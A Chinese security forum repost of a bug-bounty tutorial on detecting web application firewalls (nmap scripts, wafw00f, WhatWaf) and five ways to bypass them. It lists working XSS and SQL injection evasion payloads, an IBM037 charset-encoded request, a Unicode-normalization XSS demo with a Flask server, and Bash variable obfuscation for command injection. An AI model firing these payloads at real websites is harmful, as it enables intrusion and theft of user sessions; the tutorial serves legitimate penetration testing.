安全矩阵

 找回密码
 立即注册
搜索
查看: 797|回复: 0

干货|挖掘赏金漏洞中,绕过WAF的常用5种方式

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-6-4 11:00:39 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-6-4 11:00 编辑

干货|挖掘赏金漏洞中,绕过WAF的常用5种方式

原文链接:干货|挖掘赏金漏洞中,绕过WAF的常用5种方式
allypetitt               HACK学习呀                2023-06-03 09:56 发表于新疆  

漏洞挖掘中,绕过WAF的5种方式

简介

WAF是一种用于过滤和阻止恶意网络流量的网络安全解决方案。国外网站常见的供应商包括CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure和Barracuda。根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF可能会使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。WAF还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查网络流量的签名。如果有匹配,网络将被封锁。此外,一些防火墙使用基于启发式检测。
识别WAF
如前所述,WAF通常会阻止公开的恶意流量。为了触发防火墙并验证其存在,可以向网络应用程序发出HTTP请求,在URL中加入恶意查询,如https://example.com/?p4yl04d3=。对于正在访问的网页,HTTP响应可能与预期的不同。WAF可能会返回它自己的网页,如下图所示,或一个不同的状态代码,通常在400左右。




手动识别
通过Web代理、cURL或浏览器DevTools的“网络”选项卡,可以检测到防火墙的其他指示:Server header中WAF的名称(例如Server: cloudflare)与WAF关联的其他HTTP响应头(例如CF-RAY: xxxxxxxxxxx)似乎由WAF设置的Cookie(例如响应头Set-Cookie: __cfduid=xxxxx)提交恶意请求时的唯一响应代码。(例如412)除了制作恶意查询和评估响应外,还可以通过向服务器发送FIN/RST TCP数据包或实施侧面通道攻击来检测防火墙。例如,防火墙针对不同payload的时间可以提示正在使用的WAF。
自动识别工具
1.运行Nmap扫描Nmap脚本引擎(NSE)包括用于检测和指纹防火墙的脚本。这些脚本可以在下面看到。
  1. $ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
  2. Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
  3. Nmap scan report for example.com (xxx.xxx.xxx.xxx)
  4. Host is up (0.20s latency).

  5. PORT    STATE SERVICE
  6. 443/tcp open  https
  7. | http-waf-detect: IDS/IPS/WAF detected:
  8. |_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>

  9. Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
复制代码

2.WafW00f
Wafw00f是一个命令行实用程序,可将通常标记的payload发送到给定的域名,并评估Web服务器的响应,以尽可能检测和识别防火墙。
$ wafw00f example.com      




3.WhatWaf 除了检测防火墙外,WhatWaf还可以通过使用篡改脚本和评估Web服务器对各种有效负载的响应来尝试发现旁路。



WhatWaf的结果与Wafw00f的结果一致。
绕过WAF的5种方式

本节将用示例概述一些潜在的WAFBypass技术。
1.绕过Regex

此方法适用于WAF和Web服务器完成的正则表达式过滤。在黑盒渗透测试中,查找WAF使用的正则表达式可能不是一个选项。Commmon旁路包括更改payload的情况,使用各种编码,替换函数或字符,使用替代语法,以及使用换行符或制表符。
以下示例演示了一些绕过正则表达式和注释的方法。
  1. <sCrIpT>alert(XSS)</sCriPt> #更改标签大小写
  2. <<script>alert(XSS)</script> #prepending an additional "<"
  3. <script>alert(XSS) // #删除关闭标签
  4. <script>alert`XSS`</script> #using backticks instead of parenetheses
  5. java%0ascript:alert(1) #使用编码的换行字符
  6. <iframe src=http://malicous.com < #double 打开角度括号
  7. <STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
  8. <img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
  9. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaaaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
复制代码
混淆技术
虽然混淆是绕过正则表达式的一种可能方式,但它们被划分为不同的部分,以更专门地展示混淆技术的选择。
  1. Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
  2. javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
  3. <iframe src="javascript:alert(`xss`)"> #unicode 编码
  4. /?id=1+un/**/ion+sel/**/ect+1,2,3-- #在SQL查询中使用注释来分解语句
  5. new Function`alt\`6\``; #using backticks 而不是括号
  6. data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 编码javascript
  7. %26%2397;lert(1) #使用HTML编码
  8. <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #使用线路馈线(LF)换行符
  9. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # 在事件处理程序和等号之间使用任何不是字母、数字或封装字符的字符(仅适用于Gecko引擎)
复制代码
更多payload:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads

2.字符集
该技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意payload的WAF可能无法识别该请求为恶意。字符集编码可以用Python完成
  1. $ python3
  2. -- snip --
  3. >>> import urllib.parse
  4. >>> s = '<script>alert("xss")</script>'
  5. >>> urllib.parse.quote_plus(s.encode("IBM037"))
  6. 'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n'
复制代码
然后,编码的字符串可以在请求正文中发送并上传到服务器。
  1. POST /comment/post HTTP/1.1
  2. Host: chatapp
  3. Content-Type: application/x-www-form-urlencoded; charset=ibm500
  4. Content-Length: 74

  5. %A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
复制代码
3.内容大小
在一些基于云的WAF中,如果payload超过一定大小,则不会检查请求。在这些情况下,可以通过增加请求主体或URL的大小来绕过防火墙。
4.Unicode兼容性



Unicode兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。
这是一种Unicode等价的形式。例如,字符/(U+FF0F)和/(U+002F)是不同的,但在某些情况下,它们将具有相同的含义。共享含义允许字符相互兼容,这意味着尽管一开始是不同的字符,但它们都可以转换为标准的正斜杠字符/(U+002F)。
深入挖掘,/(U+FF0F)和/(U+002F)最终是否会成为相同的正斜杠字符,取决于网络服务器对它们进行规范化或翻译的方式。字符通常通过四种标准Unicode标准化算法之一进行标准化:
  • NFC:标准化形式规范组成
  • NFD:标准化形式规范分解
  • NFKC:标准化表单兼容性组成
  • NFKD:标准化表单兼容性分解
特别是NFKC和NFKD将根据兼容性分解字符,这与NFC和NFD不同(详情请参阅此处https://www.unicode.org/reports/tr15/)。
这意味着,在Web服务器上,用户输入首先被清理,然后使用NFKC或NFKD进行归一化,意外的兼容字符可以绕过WAF,并在后端作为其规范等价物执行。这是WAF不期望与Unicode兼容的字符的结果。Jorge Lahara在下面的PoC网络服务器中演示了这一点。
  1. from flask import Flask, abort, request
  2. import unicodedata
  3. from waf import waf

  4. app = Flask(__name__)


  5. @app.route('/')
  6. def Welcome_name():
  7.   name = request.args.get('name')


  8.   if waf(name):
  9.     abort(403, description="XSS Detected")
  10.   else:
  11.     name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
  12.     return 'Test XSS: ' + name

  13. if __name__ == '__main__':
  14.   app.run(port=81)
复制代码
如果防火墙可能检测到<<img  src=p onerror='prompt(1)'>的inial payload,则使用Unicode兼容字符(<<img  src⁼p onerror⁼'prompt⁽1⁾'﹥)构建的payload将保持未检测到。在清理输入后对其进行规范化的Web服务器可能容易通过Unicode兼容性绕过WAF。
5.未初始化的变量

潜在的方法是在您的请求中使用未初始化的变量(例如$u),如本文所示。这在命令执行场景中是可能的,因为Bash将未初始化的变量视为空字符串。当将空字符串与命令执行payload连接时,结果最终成为命令执行payload。



当在易受命令注入的系统中时,在payload中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。



推荐阅读
https://hacken.io/discover/how-t ... /Bypass_WAF_Unicodehttps://blog.yeswehack.com/yeswe ... ing_and_Evasion.pdf





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 14:46 , Processed in 0.012777 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表